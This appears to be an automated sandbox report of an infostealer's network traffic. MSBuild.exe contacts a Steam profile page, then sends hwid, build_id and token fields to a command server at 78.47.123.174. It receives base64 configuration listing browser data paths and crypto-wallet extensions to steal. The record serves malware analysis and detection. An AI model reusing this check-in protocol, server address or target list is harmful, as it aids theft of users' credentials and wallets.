May 24, 2024 10:27:35.034164906 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:35.034349918 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:35.034363985 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:35.783600092 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:35.783759117 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:35.784290075 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:35.784300089 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:35.784491062 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:35.784496069 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:36.468034029 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:36.468204021 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:36.468216896 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:36.468307972 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:36.469054937 CEST	49766	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:36.469079018 CEST	443	49766	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.123930931 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.123997927 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.124130011 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.124509096 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.124519110 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.777456045 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.777578115 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778182030 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778194904 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778336048 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778342009 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778459072 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778476000 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778527975 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778533936 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778584957 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778598070 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778690100 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778702974 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778723955 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778737068 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778820992 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778837919 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778856039 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778881073 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.778918982 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.778930902 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:37.779017925 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:37.779033899 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:38.990639925 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:38.990741968 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:38.990757942 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:38.990789890 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:38.991084099 CEST	49767	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:38.991107941 CEST	443	49767	78.47.123.174	192.168.2.4
May 24, 2024 10:27:38.994832993 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:38.994874001 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:38.994952917 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:38.995157003 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:38.995165110 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:39.706155062 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:39.706231117 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:39.706753969 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:39.706763983 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:39.706940889 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:39.706944942 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:40.409694910 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:40.409872055 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:40.409874916 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:40.409924984 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:40.410059929 CEST	49768	443	192.168.2.4	78.47.123.174
May 24, 2024 10:27:40.410077095 CEST	443	49768	78.47.123.174	192.168.2.4
May 24, 2024 10:27:42.922794104 CEST	49726	80	192.168.2.4	104.18.38.233
May 24, 2024 10:27:42.922843933 CEST	49725	80	192.168.2.4	104.18.38.233
May 24, 2024 10:27:42.928811073 CEST	80	49726	104.18.38.233	192.168.2.4
May 24, 2024 10:27:42.928925037 CEST	49726	80	192.168.2.4	104.18.38.233
May 24, 2024 10:27:42.933840036 CEST	80	49725	104.18.38.233	192.168.2.4
May 24, 2024 10:27:42.933902025 CEST	49725	80	192.168.2.4	104.18.38.233
May 24, 2024 10:28:07.204853058 CEST	49723	80	192.168.2.4	199.232.210.172
May 24, 2024 10:28:07.205033064 CEST	49724	80	192.168.2.4	199.232.210.172
May 24, 2024 10:28:07.216223955 CEST	80	49723	199.232.210.172	192.168.2.4
May 24, 2024 10:28:07.216319084 CEST	49723	80	192.168.2.4	199.232.210.172
May 24, 2024 10:28:07.221324921 CEST	80	49724	199.232.210.172	192.168.2.4
May 24, 2024 10:28:07.221417904 CEST	49724	80	192.168.2.4	199.232.210.172

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 10:27:00.390662909 CEST	54547	53	192.168.2.4	1.1.1.1
May 24, 2024 10:27:00.398055077 CEST	53	54547	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 10:27:00.390662909 CEST	192.168.2.4	1.1.1.1	0xe6fc	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 10:27:00.398055077 CEST	1.1.1.1	192.168.2.4	0xe6fc	No error (0)	steamcommunity.com		23.199.218.33	A (IP address)	IN (0x0001)	false
May 24, 2024 10:27:03.652335882 CEST	1.1.1.1	192.168.2.4	0xa39d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 10:27:03.652335882 CEST	1.1.1.1	192.168.2.4	0xa39d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

78.47.123.174

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	23.199.218.33	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:01 UTC	119	OUT	GET /profiles/76561199689717899 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:02 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 24 May 2024 08:27:02 GMT Content-Length: 35682 Connection: close Set-Cookie: sessionid=5c8036cc49444159af2608eb; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C493458b59285f9aa948bf050e0c9a39b; Path=/; Secure; HttpOnly; SameSite=None
2024-05-24 08:27:02 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-24 08:27:02 UTC	10074	IN	Data Raw: 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 Data Ascii: lass="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="sub
2024-05-24 08:27:02 UTC	11106	IN	Data Raw: 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c Data Ascii: ","FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:03 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:04 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:04 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 43 38 38 44 32 43 39 46 39 33 33 31 35 38 38 32 31 30 39 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="hwid"10C88D2C9F933158821099-a33c7340-61ca-11ee-8c18-806e6f6e6963------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------
2024-05-24 08:27:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:05 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 7c 31 7c 31 7c 31 7c 31 7c 31 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|3996572bcede38501ca701891c4b9ed6\|1\|1\|1\|1\|1\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:05 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:05 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------AFHDAKJKFCFBGCBGDHCBCont
2024-05-24 08:27:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:06 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:07 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------KEBGHCBAEGDHIDGCBAECCont
2024-05-24 08:27:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:08 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:08 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:08 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------DAAFBAKECAEGCBFIEGDGCont
2024-05-24 08:27:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:09 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:10 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 6381 Connection: Keep-Alive Cache-Control: no-cache
